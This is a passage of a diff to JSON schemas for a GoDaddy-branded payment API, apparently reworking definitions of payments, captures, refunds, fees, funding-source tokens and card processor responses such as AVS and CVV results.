"Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true - } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "readOnly": true, - "description": "Refunds for the payment" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Last updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "additionalProcessingInstruction": { - "description": "Processing instruction", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", - "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" - } - } - }, - "externalProcessor": { - "type": "string", - "description": "Processor that has already processed this payment externally" - } - }, - "required": [ - "type", - "amount", - "fundingSource", - "createdAt" - ] - } - }, - "responses": { - "201": { - "description": "New payment created successfully", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment", - "type": "object", - "x-tags": [ - "transaction", - "payments" - ], - "x-generic-type": "Payment", - "description": "A monetary transfer of funds from a funding source to the recipient merchant", - "properties": { - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "refNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Type", - "type": "string", - "enum": [ - "AUTHORIZATION", - "SALE", - "REFUND" - ], - "description": "Payment type" + "type": "array" }, - "amount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "captures": { + "description": "Captures for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" } }, - "required": [ - "amount", - "type" - ] + "title": "Amount", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", "type": "string", - "description": "Fee type discriminator" + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + 